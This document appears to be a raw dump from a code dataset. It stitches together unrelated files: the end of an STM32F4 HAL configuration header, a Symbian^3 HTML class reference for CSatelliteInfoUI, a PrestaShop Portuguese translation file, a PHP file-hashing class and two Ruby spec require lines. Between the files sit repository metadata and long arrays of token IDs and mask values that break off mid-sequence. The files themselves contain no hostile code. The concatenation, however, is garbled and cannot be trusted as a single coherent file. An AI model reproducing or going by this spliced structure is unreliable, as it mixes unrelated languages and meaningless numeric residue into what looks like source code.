#ifdef HAL_PCCARD_MODULE_ENABLED
#include "stm32f4xx_hal_pccard.h"
#endif /* HAL_PCCARD_MODULE_ENABLED */
#ifdef HAL_SDRAM_MODULE_ENABLED
#include "stm32f4xx_hal_sdram.h"
#endif /* HAL_SDRAM_MODULE_ENABLED */
#ifdef HAL_HASH_MODULE_ENABLED
#include "stm32f4xx_hal_hash.h"
#endif /* HAL_HASH_MODULE_ENABLED */
#ifdef HAL_I2C_MODULE_ENABLED
#include "stm32f4xx_hal_i2c.h"
#endif /* HAL_I2C_MODULE_ENABLED */
#ifdef HAL_SMBUS_MODULE_ENABLED
#include "stm32f4xx_hal_smbus.h"
#endif /* HAL_SMBUS_MODULE_ENABLED */
#ifdef HAL_I2S_MODULE_ENABLED
#include "stm32f4xx_hal_i2s.h"
#endif /* HAL_I2S_MODULE_ENABLED */
#ifdef HAL_IWDG_MODULE_ENABLED
#include "stm32f4xx_hal_iwdg.h"
#endif /* HAL_IWDG_MODULE_ENABLED */
#ifdef HAL_LTDC_MODULE_ENABLED
#include "stm32f4xx_hal_ltdc.h"
#endif /* HAL_LTDC_MODULE_ENABLED */
#ifdef HAL_PWR_MODULE_ENABLED
#include "stm32f4xx_hal_pwr.h"
#endif /* HAL_PWR_MODULE_ENABLED */
#ifdef HAL_RNG_MODULE_ENABLED
#include "stm32f4xx_hal_rng.h"
#endif /* HAL_RNG_MODULE_ENABLED */
#ifdef HAL_RTC_MODULE_ENABLED
#include "stm32f4xx_hal_rtc.h"
#endif /* HAL_RTC_MODULE_ENABLED */
#ifdef HAL_SAI_MODULE_ENABLED
#include "stm32f4xx_hal_sai.h"
#endif /* HAL_SAI_MODULE_ENABLED */
#ifdef HAL_SD_MODULE_ENABLED
#include "stm32f4xx_hal_sd.h"
#endif /* HAL_SD_MODULE_ENABLED */
#ifdef HAL_SPI_MODULE_ENABLED
#include "stm32f4xx_hal_spi.h"
#endif /* HAL_SPI_MODULE_ENABLED */
#ifdef HAL_TIM_MODULE_ENABLED
#include "stm32f4xx_hal_tim.h"
#endif /* HAL_TIM_MODULE_ENABLED */
#ifdef HAL_UART_MODULE_ENABLED
#include "stm32f4xx_hal_uart.h"
#endif /* HAL_UART_MODULE_ENABLED */
#ifdef HAL_USART_MODULE_ENABLED
#include "stm32f4xx_hal_usart.h"
#endif /* HAL_USART_MODULE_ENABLED */
#ifdef HAL_IRDA_MODULE_ENABLED
#include "stm32f4xx_hal_irda.h"
#endif /* HAL_IRDA_MODULE_ENABLED */
#ifdef HAL_SMARTCARD_MODULE_ENABLED
#include "stm32f4xx_hal_smartcard.h"
#endif /* HAL_SMARTCARD_MODULE_ENABLED */
#ifdef HAL_WWDG_MODULE_ENABLED
#include "stm32f4xx_hal_wwdg.h"
#endif /* HAL_WWDG_MODULE_ENABLED */
#ifdef HAL_PCD_MODULE_ENABLED
#include "stm32f4xx_hal_pcd.h"
#endif /* HAL_PCD_MODULE_ENABLED */
#ifdef HAL_HCD_MODULE_ENABLED
#include "stm32f4xx_hal_hcd.h"
#endif /* HAL_HCD_MODULE_ENABLED */
#ifdef HAL_DSI_MODULE_ENABLED
#include "stm32f4xx_hal_dsi.h"
#endif /* HAL_DSI_MODULE_ENABLED */
#ifdef HAL_QSPI_MODULE_ENABLED
#include "stm32f4xx_hal_qspi.h"
#endif /* HAL_QSPI_MODULE_ENABLED */
#ifdef HAL_CEC_MODULE_ENABLED
#include "stm32f4xx_hal_cec.h"
#endif /* HAL_CEC_MODULE_ENABLED */
#ifdef HAL_FMPI2C_MODULE_ENABLED
#include "stm32f4xx_hal_fmpi2c.h"
#endif /* HAL_FMPI2C_MODULE_ENABLED */
#ifdef HAL_SPDIFRX_MODULE_ENABLED
#include "stm32f4xx_hal_spdifrx.h"
#endif /* HAL_SPDIFRX_MODULE_ENABLED */
#ifdef HAL_DFSDM_MODULE_ENABLED
#include "stm32f4xx_hal_dfsdm.h"
#endif /* HAL_DFSDM_MODULE_ENABLED */
#ifdef HAL_LPTIM_MODULE_ENABLED
#include "stm32f4xx_hal_lptim.h"
#endif /* HAL_LPTIM_MODULE_ENABLED */
#ifdef HAL_MMC_MODULE_ENABLED
#include "stm32f4xx_hal_mmc.h"
#endif /* HAL_MMC_MODULE_ENABLED */
/* Exported macro ------------------------------------------------------------*/
#ifdef USE_FULL_ASSERT
/**
* @brief The assert_param macro is used for function's parameters check.
* @param expr If expr is false, it calls assert_failed function
* which reports the name of the source file and the source
* line number of the call that failed.
* If expr is true, it returns no value.
* @retval None
*/
#define assert_param(expr) ((expr) ? (void)0U : assert_failed((uint8_t *)__FILE__, __LINE__))
/* Exported functions ------------------------------------------------------- */
void assert_failed(uint8_t* file, uint32_t line);
#else
#define assert_param(expr) ((void)0U)
#endif /* USE_FULL_ASSERT */
#ifdef __cplusplus
}
#endif
#endif /* __STM32F4xx_HAL_CONF_H */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
| ObKo/stm32-cmake | examples/freertos/stm32f4xx_hal_conf.h | C | mit | 20,039 | [
30522,
1013,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
100... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?xml version='1.0' encoding='utf-8'?>
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-us" xml:lang="en-us">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="copyright" content="(C) Copyright 2010" />
<meta name="DC.rights.owner" content="(C) Copyright 2010" />
<meta name="DC.Type" content="cxxClass" />
<meta name="DC.Title" content="CSatelliteInfoUI" />
<meta name="DC.Format" content="XHTML" />
<meta name="DC.Identifier" content="GUID-DD9674C9-445A-36D8-A4EF-5384D3EF74BA" />
<title>
CSatelliteInfoUI
</title>
<link type="text/css" rel="stylesheet" href="css/common.css" media="screen"/>
<link type="text/css" rel="stylesheet" href="css/sdl.css" media="screen"/>
<!--[if IE]>
<link href="css/iefix.css" rel="stylesheet" type="text/css" media="screen" />
<![endif]-->
<meta name="keywords" content="api" />
<link rel="stylesheet" type="text/css" href="cxxref.css" />
</head>
<body class="cxxref" id="GUID-DD9674C9-445A-36D8-A4EF-5384D3EF74BA">
<a name="GUID-DD9674C9-445A-36D8-A4EF-5384D3EF74BA">
<!-- -->
</a>
<?php include_once (CURRENT_SKIN_PATH.'/sdl_header.html'); ?>
<div id="sdl_container">
<div id="leftMenu">
<div id="expandcontractdiv">
<a id="collapseTree" href="javascript:tree.collapseAll()">
Collapse all
</a>
<a id="index" href="index.html">
Symbian^3 Application Developer Library
</a>
</div>
<iframe style="border:none" height="800" width="300" src="index-toc.html"></iframe>
<div id="treeDiv1">
 
</div>
<script type="text/javascript">
var currentIconMode = 0; window.name="id2518338 id2518347 id2420140 id2374166 id2362038 id2362043 ";
YAHOO.util.Event.onDOMReady(buildTree, this,true);
</script>
</div>
<div id="sdl_content">
<div class="breadcrumb">
<a href="index.html" title="Symbian^3 Application Developer Library">
Symbian^3 Application Developer Library
</a>
>
</div>
<h1 class="topictitle1">
CSatelliteInfoUI Class Reference
</h1>
<table class="signature">
<tr>
<td>
class CSatelliteInfoUI : public CBase
</td>
</tr>
</table>
<div class="section">
<div>
<p>
Implements entry point class to Satellite Info UI
</p>
</div>
</div>
<div class="section derivation">
<h2 class="sectiontitle">
Inherits from
</h2>
<ul class="derivation derivation-root">
<li class="derivation-depth-0 ">
CSatelliteInfoUI
<ul class="derivation">
<li class="derivation-depth-1 ">
<a href="GUID-8F6FE089-E2A8-30F4-B67E-10F286347681.html">
CBase
</a>
</li>
</ul>
</li>
</ul>
</div>
<div class="section member-index">
<table border="0" class="member-index">
<thead>
<tr>
<th colspan="2">
Public Member Functions
</th>
</tr>
</thead>
<tbody>
<tr>
<td align="right" class="code">
</td>
<td>
<a href="#GUID-93A99578-A735-3F5A-A355-73E54FC03D4D">
~CSatelliteInfoUI
</a>
()
</td>
</tr>
<tr class="bg">
<td align="right" class="code">
IMPORT_C
<a href="GUID-FC2F2B93-3D18-3BCC-9FD6-6BC6B240B667.html">
TInt
</a>
</td>
<td>
<a href="#GUID-0952B6DA-56C1-3D73-881F-13B0B61189BC">
ExecuteLD
</a>
(const
<a href="GUID-440FF2B4-353B-3097-A2BA-5887D10B8B23.html">
TDesC
</a>
&)
</td>
</tr>
<tr>
<td align="right" class="code">
IMPORT_C void
</td>
<td>
<a href="#GUID-701C4261-F095-3690-9E66-6866C00EF918">
HandleForegroundEventL
</a>
(
<a href="GUID-FC2F2B93-3D18-3BCC-9FD6-6BC6B240B667.html">
TBool
</a>
)
</td>
</tr>
<tr class="bg">
<td align="right" class="code">
IMPORT_C
<a href="GUID-DD9674C9-445A-36D8-A4EF-5384D3EF74BA.html">
CSatelliteInfoUI
</a>
*
</td>
<td>
<a href="#GUID-B2D49139-004F-3CDA-8D1C-C44C6E16BDA1">
NewL
</a>
()
</td>
</tr>
<tr>
<td align="right" class="code">
IMPORT_C void
</td>
<td>
<a href="#GUID-1FABF8E8-FFE9-373B-90A4-ABE7A2290B1B">
SetLaunchView
</a>
(
<a href="GUID-DD9674C9-445A-36D8-A4EF-5384D3EF74BA.html">
TSatelliteView
</a>
)
</td>
</tr>
</tbody>
</table>
<table border="0" class="member-index">
<thead>
<tr>
<th colspan="2">
Private Member Functions
</th>
</tr>
</thead>
<tbody>
<tr>
<td align="right" class="code">
</td>
<td>
<a href="#GUID-670D1DFA-9DBF-32A7-BDEB-E165D7336286">
CSatelliteInfoUI
</a>
()
</td>
</tr>
<tr class="bg">
<td align="right" class="code">
void
</td>
<td>
<a href="#GUID-4E54AE35-8E26-3D97-B67E-1270F69CF2B8">
ConstructL
</a>
()
</td>
</tr>
</tbody>
</table>
<table border="0" class="member-index">
<thead>
<tr>
<th colspan="2">
Inherited Functions
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
</td>
<td>
<a href="GUID-8F6FE089-E2A8-30F4-B67E-10F286347681.html">
CBase::CBase()
</a>
</td>
</tr>
<tr class="bg">
<td>
</td>
<td>
<a href="GUID-8F6FE089-E2A8-30F4-B67E-10F286347681.html">
CBase::Delete(CBase *)
</a>
</td>
</tr>
<tr>
<td>
</td>
<td>
<a href="GUID-8F6FE089-E2A8-30F4-B67E-10F286347681.html">
CBase::Extension_(TUint,TAny *&,TAny *)
</a>
</td>
</tr>
<tr class="bg">
<td>
</td>
<td>
<a href="GUID-8F6FE089-E2A8-30F4-B67E-10F286347681.html">
CBase::operator new(TUint)
</a>
</td>
</tr>
<tr>
<td>
</td>
<td>
<a href="GUID-8F6FE089-E2A8-30F4-B67E-10F286347681.html">
CBase::operator new(TUint,TAny *)
</a>
</td>
</tr>
<tr class="bg">
<td>
</td>
<td>
<a href="GUID-8F6FE089-E2A8-30F4-B67E-10F286347681.html">
CBase::operator new(TUint,TLeave)
</a>
</td>
</tr>
<tr>
<td>
</td>
<td>
<a href="GUID-8F6FE089-E2A8-30F4-B67E-10F286347681.html">
CBase::operator new(TUint,TLeave,TUint)
</a>
</td>
</tr>
<tr class="bg">
<td>
</td>
<td>
<a href="GUID-8F6FE089-E2A8-30F4-B67E-10F286347681.html">
CBase::operator new(TUint,TUint)
</a>
</td>
</tr>
<tr>
<td>
</td>
<td>
<a href="GUID-8F6FE089-E2A8-30F4-B67E-10F286347681.html">
CBase::~CBase()
</a>
</td>
</tr>
</tbody>
</table>
<table border="0" class="member-index">
<thead>
<tr>
<th colspan="2">
Public Member Enumerations
</th>
</tr>
</thead>
<tbody>
<tr>
<td align="right" valign="top">
enum
</td>
<td>
<a href="#GUID-CB34AEA2-3200-36E2-B794-9A637EF844E7">
TSatelliteView
</a>
{
<a href="#GUID-F6D6E7B8-5DEA-3D20-8D05-C41D3E2C32F3">
ESatelliteFirmamentView
</a>
= 0x0001,
<a href="#GUID-48850147-3943-3AD1-AE32-2D916E4118CE">
ESatelliteSignalStrengthView
</a>
= 0x0002,
<a href="#GUID-34BF2F16-AD94-3E9D-AF6E-F50156411C5A">
ESatelliteCompassView
</a>
= 0x0003 }
</td>
</tr>
</tbody>
</table>
<table border="0" class="member-index">
<thead>
<tr>
<th colspan="2">
Private Attributes
</th>
</tr>
</thead>
<tbody>
<tr>
<td align="right" valign="top">
<a href="GUID-FC2F2B93-3D18-3BCC-9FD6-6BC6B240B667.html">
TBool
</a>
*
</td>
<td>
<a href="#GUID-D5ECE435-475B-37E7-A6D8-2C499F65937F">
iDestroyedPtr
</a>
</td>
</tr>
<tr class="bg">
<td align="right" valign="top">
CSatellite *
</td>
<td>
<a href="#GUID-8912768F-47F8-31B9-90EF-CD3681D43EA9">
iSatellite
</a>
</td>
</tr>
</tbody>
</table>
</div>
<h1 class="pageHeading topictitle1">
Constructor & Destructor Documentation
</h1>
<div class="nested1" id="GUID-670D1DFA-9DBF-32A7-BDEB-E165D7336286">
<a name="GUID-670D1DFA-9DBF-32A7-BDEB-E165D7336286">
<!-- -->
</a>
<h2 class="topictitle2">
CSatelliteInfoUI()
</h2>
<table class="signature">
<tr>
<td>
CSatelliteInfoUI
</td>
<td>
(
</td>
<td>
)
</td>
<td>
[private]
</td>
</tr>
</table>
<div class="section">
<div>
<p>
C++ default constructor.
</p>
</div>
</div>
</div>
<div class="nested1" id="GUID-93A99578-A735-3F5A-A355-73E54FC03D4D">
<a name="GUID-93A99578-A735-3F5A-A355-73E54FC03D4D">
<!-- -->
</a>
<h2 class="topictitle2">
~CSatelliteInfoUI()
</h2>
<table class="signature">
<tr>
<td>
IMPORT_C
</td>
<td>
~CSatelliteInfoUI
</td>
<td>
(
</td>
<td>
)
</td>
<td>
[virtual]
</td>
</tr>
</table>
<div class="section">
<div>
<p>
Destructor.
</p>
</div>
</div>
</div>
<h1 class="pageHeading topictitle1">
Member Functions Documentation
</h1>
<div class="nested1" id="GUID-4E54AE35-8E26-3D97-B67E-1270F69CF2B8">
<a name="GUID-4E54AE35-8E26-3D97-B67E-1270F69CF2B8">
<!-- -->
</a>
<h2 class="topictitle2">
ConstructL()
</h2>
<table class="signature">
<tr>
<td>
void
</td>
<td>
ConstructL
</td>
<td>
(
</td>
<td>
)
</td>
<td>
[private]
</td>
</tr>
</table>
<div class="section">
<div>
<p>
By default Symbian 2nd phase constructor is private.
</p>
</div>
</div>
</div>
<div class="nested1" id="GUID-0952B6DA-56C1-3D73-881F-13B0B61189BC">
<a name="GUID-0952B6DA-56C1-3D73-881F-13B0B61189BC">
<!-- -->
</a>
<h2 class="topictitle2">
ExecuteLD(const TDesC &)
</h2>
<table class="signature">
<tr>
<td>
IMPORT_C
<a href="GUID-FC2F2B93-3D18-3BCC-9FD6-6BC6B240B667.html">
TInt
</a>
</td>
<td>
ExecuteLD
</td>
<td>
(
</td>
<td>
const
<a href="GUID-440FF2B4-353B-3097-A2BA-5887D10B8B23.html">
TDesC
</a>
&
</td>
<td>
aNameOfRule
</td>
<td>
)
</td>
<td>
</td>
</tr>
</table>
<div class="section">
<div>
<p>
Display satellite's information dialog.
</p>
<p>
This library uses the services provided by Location Framework. Once the dialog is launched satellite information is continuously requested via Location Acquisition API. The Location Acquisition API is offered by Location Framework. The user can switch between the two views once the dialog is launched.
</p>
<div class="p">
<dl class="user">
<dt class="dlterm">
<strong>
leave
</strong>
</dt>
<dd>
KErrArgument if requestor data (aNameOfRule argument) length exceeds 255 characters or if it is empty. This function may also leave with any one of the standard error codes such as out of memory (e.g. KErrNoMemory)
</dd>
</dl>
</div>
</div>
</div>
<div class="section parameters">
<h3 class="sectiontitle">
Parameters
</h3>
<table border="0" class="parameters">
<tr>
<td class="parameter">
const
<a href="GUID-440FF2B4-353B-3097-A2BA-5887D10B8B23.html">
TDesC
</a>
& aNameOfRule
</td>
<td>
is requestor data for Location FW which will be used for privacy verification in the future. Application name should be used to specify the requestor. The string should not be empty.
</td>
</tr>
</table>
</div>
</div>
<div class="nested1" id="GUID-701C4261-F095-3690-9E66-6866C00EF918">
<a name="GUID-701C4261-F095-3690-9E66-6866C00EF918">
<!-- -->
</a>
<h2 class="topictitle2">
HandleForegroundEventL(TBool)
</h2>
<table class="signature">
<tr>
<td>
IMPORT_C void
</td>
<td>
HandleForegroundEventL
</td>
<td>
(
</td>
<td>
<a href="GUID-FC2F2B93-3D18-3BCC-9FD6-6BC6B240B667.html">
TBool
</a>
</td>
<td>
aForeground
</td>
<td>
)
</td>
<td>
</td>
</tr>
</table>
<div class="section">
<div>
<p>
Dialog switched to foreground or background
</p>
</div>
</div>
<div class="section parameters">
<h3 class="sectiontitle">
Parameters
</h3>
<table border="0" class="parameters">
<tr>
<td class="parameter">
<a href="GUID-FC2F2B93-3D18-3BCC-9FD6-6BC6B240B667.html">
TBool
</a>
aForeground
</td>
<td>
ETrue to switch to the foreground. EFalse to switch to background.
</td>
</tr>
</table>
</div>
</div>
<div class="nested1" id="GUID-B2D49139-004F-3CDA-8D1C-C44C6E16BDA1">
<a name="GUID-B2D49139-004F-3CDA-8D1C-C44C6E16BDA1">
<!-- -->
</a>
<h2 class="topictitle2">
NewL()
</h2>
<table class="signature">
<tr>
<td>
IMPORT_C
<a href="GUID-DD9674C9-445A-36D8-A4EF-5384D3EF74BA.html">
CSatelliteInfoUI
</a>
*
</td>
<td>
NewL
</td>
<td>
(
</td>
<td>
)
</td>
<td>
[static]
</td>
</tr>
</table>
<div class="section">
<div>
<p>
Two-phased constructor.
</p>
<p>
</p>
</div>
</div>
</div>
<div class="nested1" id="GUID-1FABF8E8-FFE9-373B-90A4-ABE7A2290B1B">
<a name="GUID-1FABF8E8-FFE9-373B-90A4-ABE7A2290B1B">
<!-- -->
</a>
<h2 class="topictitle2">
SetLaunchView(TSatelliteView)
</h2>
<table class="signature">
<tr>
<td>
IMPORT_C void
</td>
<td>
SetLaunchView
</td>
<td>
(
</td>
<td>
<a href="GUID-DD9674C9-445A-36D8-A4EF-5384D3EF74BA.html">
TSatelliteView
</a>
</td>
<td>
aLaunchView
</td>
<td>
)
</td>
<td>
</td>
</tr>
</table>
<div class="section">
<div>
<p>
Used to set the dialog's launch view
</p>
<p>
This method is used to set the view in which the dialog should be launched. The two available views are signal strength and firmament view. Constants for settings default view specified in enum
<a href="GUID-DD9674C9-445A-36D8-A4EF-5384D3EF74BA.html#GUID-CB34AEA2-3200-36E2-B794-9A637EF844E7">
TSatelliteView
</a>
. This method should be called before the method
<a href="GUID-DD9674C9-445A-36D8-A4EF-5384D3EF74BA.html#GUID-0952B6DA-56C1-3D73-881F-13B0B61189BC">
ExecuteLD
</a>
is invoked.
</p>
<div class="p">
<dl class="user">
<dt class="dlterm">
<strong>
panic
</strong>
</dt>
<dd>
EAknPanicOutOfRange if the method is invoked with an invalid parameter. Values provided apart from those specified in
<a href="GUID-DD9674C9-445A-36D8-A4EF-5384D3EF74BA.html#GUID-CB34AEA2-3200-36E2-B794-9A637EF844E7">
TSatelliteView
</a>
are invalid and will cause the method to panic.
</dd>
</dl>
</div>
</div>
</div>
<div class="section parameters">
<h3 class="sectiontitle">
Parameters
</h3>
<table border="0" class="parameters">
<tr>
<td class="parameter">
<a href="GUID-DD9674C9-445A-36D8-A4EF-5384D3EF74BA.html">
TSatelliteView
</a>
aLaunchView
</td>
<td>
ESatelliteFirmamentView for firmament view and ESatelliteSignalStrengthView for signal strength view. ESatelliteCompassView for compass ciew ESatelliteCompassView Visibility will be variated depending on the product configuration/regional variation. if it is disabled to show compass view then function will ignore the ESatelliteCompassView and show firmament view instead.
</td>
</tr>
</table>
</div>
</div>
<h1 class="pageHeading topictitle1">
Member Enumerations Documentation
</h1>
<div class="nested1" id="GUID-CB34AEA2-3200-36E2-B794-9A637EF844E7">
<a name="GUID-CB34AEA2-3200-36E2-B794-9A637EF844E7">
<!-- -->
</a>
<h2 class="topictitle2">
Enum TSatelliteView
</h2>
<div class="section">
<div>
<p>
Enumeration to specify the default launch view of the dialog.
</p>
</div>
</div>
<div class="section enumerators">
<h3 class="sectiontitle">
Enumerators
</h3>
<table border="0" class="enumerators">
<tr>
<td valign="top">
ESatelliteFirmamentView = 0x0001
</td>
<td>
<p>
Launch option for firmament view. Firmament view displays all the satellites in view with the satellite's number on a firmament.
</p>
</td>
</tr>
<tr class="bg">
<td valign="top">
ESatelliteSignalStrengthView = 0x0002
</td>
<td>
<p>
Launch option for signal strength view. Signal strength view displays all the satellite with their correspoinding signal strength represented by bars.
</p>
</td>
</tr>
<tr>
<td valign="top">
ESatelliteCompassView = 0x0003
</td>
<td>
<p>
Launch option for compass view. Compass view displays latitude, longitude, speed and direction along with 2D/3D type of Fix.
</p>
</td>
</tr>
</table>
</div>
</div>
<h1 class="pageHeading topictitle1">
Member Data Documentation
</h1>
<div class="nested1" id="GUID-D5ECE435-475B-37E7-A6D8-2C499F65937F">
<a name="GUID-D5ECE435-475B-37E7-A6D8-2C499F65937F">
<!-- -->
</a>
<h2 class="topictitle2">
TBool * iDestroyedPtr
</h2>
<table class="signature">
<tr>
<td>
<a href="GUID-FC2F2B93-3D18-3BCC-9FD6-6BC6B240B667.html">
TBool
</a>
*
</td>
<td>
iDestroyedPtr
</td>
<td>
[private]
</td>
</tr>
</table>
<div class="section">
</div>
</div>
<div class="nested1" id="GUID-8912768F-47F8-31B9-90EF-CD3681D43EA9">
<a name="GUID-8912768F-47F8-31B9-90EF-CD3681D43EA9">
<!-- -->
</a>
<h2 class="topictitle2">
CSatellite * iSatellite
</h2>
<table class="signature">
<tr>
<td>
CSatellite *
</td>
<td>
iSatellite
</td>
<td>
[private]
</td>
</tr>
</table>
<div class="section">
<div>
<p>
Own: A pointer to CSatellite. Contains the engine and the dialog implementation.
</p>
</div>
</div>
</div>
<p class="copyright">Copyright ©2010 Nokia Corporation and/or its subsidiary(-ies).<br /> All rights
reserved. Unless otherwise stated, these materials are provided under the terms of the <a href=" http://www.eclipse.org/legal/epl-v10.html"> Eclipse Public License
v1.0</a>.</p>
</div>
</div>
<?php include_once (CURRENT_SKIN_PATH.'/sdl_footer.html'); ?>
</body>
</html> | warlordh/fork_Symbian | sdk/GUID-DD9674C9-445A-36D8-A4EF-5384D3EF74BA.html | HTML | epl-1.0 | 21,495 | [
30522,
1026,
1029,
20950,
2544,
1027,
1005,
1015,
1012,
1014,
1005,
17181,
1027,
1005,
21183,
2546,
1011,
1022,
1005,
1029,
1028,
1026,
999,
9986,
13874,
16129,
2270,
1000,
1011,
1013,
1013,
1059,
2509,
2278,
1013,
1013,
26718,
2094,
1060,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?php
global $_MODULE;
$_MODULE = array();
$_MODULE['<{easycss}cars>easycss_15ea502c0c3df59ddd33334ae6a9420b'] = 'Fácil css';
$_MODULE['<{easycss}cars>easycss_d7c8c85bf79bbe1b7188497c32c3b0ca'] = 'Falha';
$_MODULE['<{easycss}cars>easycss_248336101b461380a4b2391a7625493d'] = 'Salvo';
$_MODULE['<{easycss}cars>easycss_12e1ce6966d38525bc96c0f558ee6df3'] = 'Por favor, escolha uma imagem válida';
$_MODULE['<{easycss}cars>easycss_729a51874fe901b092899e9e8b31c97a'] = 'Tem a certeza?';
$_MODULE['<{easycss}cars>easycss_e8081116db6145064c613944d82690e7'] = 'Por favor, preencha o campo do seletor';
$_MODULE['<{easycss}cars>easycss_41d3bba0af74d2624f6b309888a0309a'] = 'Nenhuma imagem para salvar';
$_MODULE['<{easycss}cars>easycss_1bc564651413b9c31c46314a88d1d6d3'] = 'Erro: a imagem não foi copiado';
$_MODULE['<{easycss}cars>configure_0c3cd33e7bf626da4897316a7158a7a4'] = 'Seletor de';
$_MODULE['<{easycss}cars>configure_be53a0541a6d36f6ecb879fa2c584b08'] = 'Imagem';
$_MODULE['<{easycss}cars>configure_03c2e7e41ffc181a4e84080b4710e81e'] = 'Novo';
| amicavi/grupo-ochoa | prestashop/themes/cars/modules/easycss/translations/pt.php | PHP | mit | 1,050 | [
30522,
1026,
1029,
25718,
3795,
1002,
1035,
11336,
1025,
1002,
1035,
11336,
1027,
9140,
1006,
1007,
1025,
1002,
1035,
11336,
1031,
1005,
1026,
1063,
3733,
6169,
2015,
1065,
3765,
1028,
3733,
6169,
2015,
1035,
2321,
5243,
12376,
2475,
2278,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?php
namespace Cerbere\Model\Hacked;
class HackedFileIgnoreEndingsHasher extends HackedFileHasher
{
/**
* Ignores file line endings.
* @inheritdoc
*/
public function performHash($filename)
{
if (!HackedFileGroup::isBinary($filename)) {
$file = file($filename, FILE_IGNORE_NEW_LINES);
return sha1(serialize($file));
} else {
return sha1_file($filename);
}
}
/**
* @inheritdoc
*/
public function fetchLines($filename)
{
return file($filename, FILE_IGNORE_NEW_LINES);
}
}
| smalot/drush-cerbere | lib/Cerbere/Model/Hacked/HackedFileIgnoreEndingsHasher.php | PHP | gpl-2.0 | 599 | [
30522,
1026,
1029,
25718,
3415,
15327,
8292,
20473,
2063,
1032,
2944,
1032,
28719,
1025,
2465,
28719,
8873,
23057,
26745,
28029,
4667,
7377,
19603,
8908,
28719,
8873,
2571,
14949,
5886,
1063,
1013,
1008,
1008,
1008,
26663,
5371,
2240,
21306,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
require File.dirname(__FILE__) + '/../../spec_helper'
require File.dirname(__FILE__) + '/fixtures/classes'
